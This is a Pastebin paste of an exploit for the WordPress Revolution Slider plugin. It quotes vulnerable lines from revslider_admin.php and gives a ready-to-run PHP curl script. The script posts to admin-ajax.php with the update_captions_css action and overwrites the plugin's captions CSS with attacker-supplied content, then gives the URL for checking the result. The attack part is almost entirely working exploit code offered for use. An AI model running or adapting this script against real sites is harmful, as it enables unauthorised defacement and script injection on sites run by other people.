CrashBandicot

Wordpress Plugin Revolution Slider - Unrestricted File Uploa

Apr 1st, 2015
9,736
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.80 KB | None | 0 0
  1. ######################################################################
  2. # Exploit Title: Wordpress Plugin Revolution Slider - Unrestricted File Upload
  3. # Google Dork: Y0ur Brain
  4. # Date: 27.03.2015
  5. # Exploit Author: CrashBandicot (@DosPerl)
  6. # Vendor HomePage: http://revolution.themepunch.com/
  7. # Version: old
  8. # Tested on: Windows
  9. ######################################################################
  10.  
  11.  
  12. # Path of File : /wp-content/plugins/revslider/revslider_admin.php
  13. # Vulnerable File : revslider_admin.php
  14.  
  15. 232.    $action = self::getPostGetVar("client_action");
  16. 233.    $data = self::getPostGetVar("data");
  17. ...
  18. 301.    case "get_captions_css":
  19. 302.     $contentCSS = $operations->getCaptionsContent();
  20. 303.      self::ajaxResponseData($contentCSS);
  21. ...
  22. 305.    case "update_captions_css":
  23. 306.      $arrCaptions = $operations->updateCaptionsContentData($data);
  24. 307.      self::ajaxResponseSuccess("CSS file saved succesfully!",array("arrCaptions"=>$arrCaptions));
  25.  
  26.  
  27. # Exploit :
  28.  
  29. <?php
  30.  
  31. $post = array
  32. (
  33. "action" => "revslider_ajax_action",
  34. "client_action" => "update_captions_css",
  35. "data" => "<marquee>Malicious Code Here</marquee>"
  36. );
  37.  
  38. $ch = curl_init ("http://localhost/wp-admin/admin-ajax.php");
  39. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  40. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  41. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  42. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  43. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  44. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  45. curl_setopt ($ch, CURLOPT_POST, 1);
  46. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  47. $data = curl_exec ($ch);
  48. curl_close ($ch);
  49.  
  50. ?>
  51.  
  52.  
  53. # Path of Result : /wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
  54.  
  55. #EOF
Advertisement
Add Comment
Please, Sign In to add comment